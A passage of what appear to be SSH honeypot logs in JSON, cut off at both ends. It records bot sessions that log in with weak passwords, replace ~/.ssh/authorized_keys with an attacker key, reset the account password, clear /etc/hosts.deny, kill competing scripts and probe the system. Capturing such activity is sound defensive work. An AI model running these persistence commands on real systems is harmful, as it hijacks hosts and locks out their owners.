ls)"},{"seq":12,"at":"2026-08-27T00:45:59.898543+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:46:00.410960+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:46:01.048899+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:46:01.549158+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:46:02.005489+00:00","kind":"output","latency_ms":null,"data":" 00:46:02 up 6 days, 21:36, 0 user, load average: 0.26, 0.22, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:46:02.510495+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:46:03.063471+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:46:03.575003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:46:04.043798+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:46:04.546784+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:46:05.107724+00:00","kind":"output","latency_ms":null,"data":"top - 00:46:05 up 6 days, 21:36, 0 user, load average: 0.26, 0.22, 0.18\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:46:05.615770+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:46:06.315196+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:46:06.817483+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:46:07.442842+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:46:07.997650+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:46:08.772842+00:00","kind":"output","latency_ms":null,"data":"gitea"},{"seq":29,"at":"2026-08-27T00:46:09.282205+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:46:10.219309+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:46:10.721328+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:46:12.053196+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"gitea","password":"gitea123456","method":"password","accepted":true,"tier":"other"}]} {"id":"2ef49375-1827-4419-971a-07984cb2a427","name":"quartz-crimson-whimbrel","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":57234,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":535,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:42:56.877146+00:00","ended_at":"2026-08-27T00:42:57.957604+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2194,"events":[{"seq":1,"at":"2026-08-27T00:42:33.422397+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:42:33.947682+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:42:39.531281+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:42:40.393667+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:42:40.943889+00:00","kind":"input","latency_ms":null,"data":"echo \"root:RHehtdFYjJag\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:42:41.475949+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:42:42.011908+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:42:42.517845+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:42:43.047497+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:42:43.937318+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:42:44.481374+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:42:45.598618+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:42:46.125341+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:42:46.431139+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:42:46.953356+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:42:47.785893+00:00","kind":"output","latency_ms":null,"data":" 00:42:47 up 6 days, 21:32, 0 user, load average: 0.17, 0.13, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:42:48.320384+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:42:48.852966+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:42:49.383929+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:42:49.993772+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:42:50.546066+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:42:50.901906+00:00","kind":"output","latency_ms":null,"data":"top - 00:42:50 up 6 days, 21:32, 0 user, load average: 0.17, 0.13, 0.14\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:42:51.679136+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:42:52.509414+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:42:53.063763+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:42:53.314936+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:42:53.858173+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:42:54.703462+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:42:55.238457+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:42:56.344715+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:42:56.878381+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:42:57.789842+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"drcom@123","method":"password","accepted":true,"tier":"other"}]} {"id":"1f78f223-366e-4f69-9e15-b5e4f42eaef1","name":"cobalt-hazy-ouzel","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":44492,"username":"sora","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":556,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:39:54.403067+00:00","ended_at":"2026-08-27T00:39:55.526725+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2126,"events":[{"seq":1,"at":"2026-08-27T00:39:27.712637+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:39:28.287130+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:39:35.006365+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:39:35.499845+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:39:36.250623+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sora\\nfFhtD09BNwAA\\nfFhtD09BNwAA\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:39:37.106695+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T00:39:38.039440+00:00","kind":"input","latency_ms":null,"data":"echo \"sora\\nfFhtD09BNwAA\\nfFhtD09BNwAA\\n\"|passwd"},{"seq":8,"at":"2026-08-27T00:39:38.588516+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T00:39:38.892747+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T00:39:39.440570+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T00:39:40.812131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T00:39:41.414394+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T00:39:42.559458+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T00:39:43.116013+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T00:39:43.567189+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T00:39:44.136724+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T00:39:44.514484+00:00","kind":"output","latency_ms":null,"data":" 00:39:44 up 6 days, 21:29, 0 user, load average: 0.29, 0.31, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T00:39:45.062839+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T00:39:45.695187+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T00:39:46.238137+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T00:39:47.063272+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T00:39:47.612154+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T00:39:48.232131+00:00","kind":"output","latency_ms":null,"data":"top - 00:39:48 up 6 days, 21:29, 0 user, load average: 0.29, 0.31, 0.19\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T00:39:48.847752+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T00:39:49.467744+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T00:39:50.025210+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T00:39:50.780388+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T00:39:51.327293+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T00:39:52.220630+00:00","kind":"output","latency_ms":null,"data":"sora"},{"seq":30,"at":"2026-08-27T00:39:52.762073+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T00:39:53.857756+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T00:39:54.403605+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T00:39:55.356755+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sora","password":"sora","method":"password","accepted":true,"tier":"other"}]} {"id":"c9ef5156-8586-4eae-9c3d-5a91117b00e8","name":"forlorn-quiet-impala","protocol":"ssh","channel_kind":"exec","src_ip":"97.74.87.152","src_port":33282,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":742,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:38:36.484406+00:00","ended_at":"2026-08-27T00:38:37.325893+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T00:38:16.021634+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:38:16.760030+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:38:23.612059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:38:23.612562+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:38:24.358093+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZwXAuunECBgl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:38:25.096410+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:38:25.837006+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:38:25.837472+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:38:26.579425+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:38:27.192500+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:38:27.953422+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:38:28.481021+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:38:29.226748+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:38:29.227213+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T00:38:29.967959+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:38:29.968810+00:00","kind":"output","latency_ms":null,"data":" 00:38:29 up 6 days, 21:28, 0 user, load average: 0.32, 0.36, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:38:30.712245+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:38:30.712781+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:38:31.456150+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:38:31.456813+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:38:32.211905+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:38:32.212472+00:00","kind":"output","latency_ms":null,"data":"top - 00:38:32 up 6 days, 21:28, 0 user, load average: 0.32, 0.36, 0.19\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:38:32.955299+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:38:32.955800+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:38:33.697389+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:38:33.698485+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:38:34.439804+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:38:34.440412+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:38:35.186811+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:38:35.742556+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:38:36.484897+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:38:37.090237+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"A123456b","method":"password","accepted":true,"tier":"other"}]} {"id":"96e7c7e4-2a04-4fbf-a76e-0be66d30de68","name":"restless-tidal-shrike","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":60220,"username":"michal","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":540,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:36:44.572496+00:00","ended_at":"2026-08-27T00:36:46.059069+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2127,"events":[{"seq":1,"at":"2026-08-27T00:36:14.911657+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:36:15.442504+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:36:25.722263+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:36:26.548129+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:36:27.099333+00:00","kind":"input","latency_ms":null,"data":"echo -e \"michal123\\nCrtZ0Kgq7OEt\\nCrtZ0Kgq7OEt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T00:36:27.638518+00:00","kind":"input","latency_ms":null,"data":"echo \"michal123\\nCrtZ0Kgq7OEt\\nCrtZ0Kgq7OEt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T00:36:28.183801+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:36:28.908512+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:36:29.440140+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:36:30.570201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:36:31.110062+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:36:31.982587+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:36:32.527853+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:36:33.267515+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:36:33.795569+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:36:34.580836+00:00","kind":"output","latency_ms":null,"data":" 00:36:34 up 6 days, 21:26, 0 user, load average: 0.21, 0.21, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:36:35.439934+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:36:35.936364+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:36:36.466331+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:36:37.106786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:36:37.789884+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:36:38.517078+00:00","kind":"output","latency_ms":null,"data":"top - 00:36:38 up 6 days, 21:26, 0 user, load average: 0.21, 0.21, 0.17\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:36:39.050169+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:36:39.683607+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:36:40.227260+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:36:41.094773+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 